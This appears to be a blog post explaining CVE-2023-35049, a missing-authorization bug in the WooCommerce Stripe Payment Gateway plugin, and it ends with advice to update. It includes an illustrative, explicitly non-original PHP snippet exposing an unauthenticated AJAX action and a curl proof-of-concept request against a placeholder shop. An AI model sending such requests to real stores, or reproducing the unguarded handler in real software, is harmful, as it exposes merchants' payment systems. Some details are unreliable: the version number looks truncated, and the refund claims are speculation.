WooCommerce is the world’s most popular e-commerce plugin for WordPress. With millions of stores relying on it, it’s no surprise that its extensions, like the WooCommerce Stripe Payment Gateway, are common targets for attackers.

In this deep dive, we’ll walk through CVE-2023-35049—a missing authorization vulnerability in the WooCommerce Stripe Payment Gateway plugin, present in versions up to and including 7.4.. We’ll keep it simple and practical, showing you how the vulnerability works and what attackers could do with it. We'll end with reference links and advice for staying safe.

What is CVE-2023-35049?

CVE-2023-35049 is a security bug in “WooCommerce Stripe Payment Gateway," a plugin that lets WooCommerce store owners accept payments via Stripe. Specifically, certain functionality inside the plugin did not check if a request was coming from an authorized or authenticated user. That allowed any unauthenticated visitor to call sensitive endpoints or trigger actions directly.

Why Does Authorization Matter Here?

In a plugin handling payments, it’s critical to ensure that only legitimate users (like store owners or admins) can access sensitive actions—like viewing, creating, or updating payment intents. Missing checks can allow attackers to do much more than expected.

Vulnerable Versions

This affects WooCommerce Stripe Payment Gateway versions up to and including 7.4.. Any newer version is considered patched.

How the Vulnerability Can Be Triggered

This bug is a classic "missing authorization" issue. Many of the plugin’s REST API endpoints or AJAX actions that should be restricted are open to the public.

For instance, endpoints responsible for retrieving payment info or interacting with Stripe aren’t protected by is_user_logged_in() or capabilities checks like current_user_can('manage_woocommerce').

A simplified example (not actual source, but illustrative)

add_action('wp_ajax_nopriv_wc_stripe_create_payment_intent', 'wc_stripe_create_payment_intent');
// 'nopriv' means it can be accessed by anyone—not logged-in users only

function wc_stripe_create_payment_intent() {
    // ... actual logic to create a payment intent
    // No authorization check!
    // $amount, $currency, $customer taken from user-supplied input ($_POST or $_GET)
    // Passes those to the Stripe API
}

Here, *anyone* can POST to admin-ajax.php?action=wc_stripe_create_payment_intent, passing parameters to create a Stripe payment intent.

Exploit PoC: Sending a Malicious AJAX Request

Let’s say the site is at https://victimshop.com. Attackers can send a POST request like so using curl (or with JS in a browser):

curl -X POST "https://victimshop.com/wp-admin/admin-ajax.php" \
    -d "action=wc_stripe_create_payment_intent" \
    -d "amount=100" \
    -d "currency=usd" \
    -d "customer=attacker@example.com"

No login or authentication is required

Depending on the plugin logic, you might even be able to fetch payment intent statuses, refund payments, or more, all as an unauthenticated visitor.

What Should Store Owners Do?

If you use WooCommerce Stripe Payment Gateway:
- Update the plugin immediately to the latest version (download here).

- Wordfence advisory
- NVD – CVE-2023-35049
- WooCommerce Stripe Payment Gateway Plugin page
- Patchstack detail article
- GitHub plugin source, for review

Conclusion

CVE-2023-35049 shows how a simple security oversight—forgetting to check if a user is authorized—can lead to serious vulnerabilities, especially in software handling money. If you run an online store, always keep your plugins updated and pay extra attention to who can trigger critical actions “under the hood.”

If you want a more in-depth look or code analysis, follow the links above. Stay safe and keep your e-commerce platform secure!

Further Reading

- How to Secure AJAX in WordPress Plugins
- Stripe Official API Documentation
- Responsible Disclosure Best Practices

Timeline

Published on: 06/19/2024 13:15:52 UTC
Last modified on: 08/02/2024 16:17:04 UTC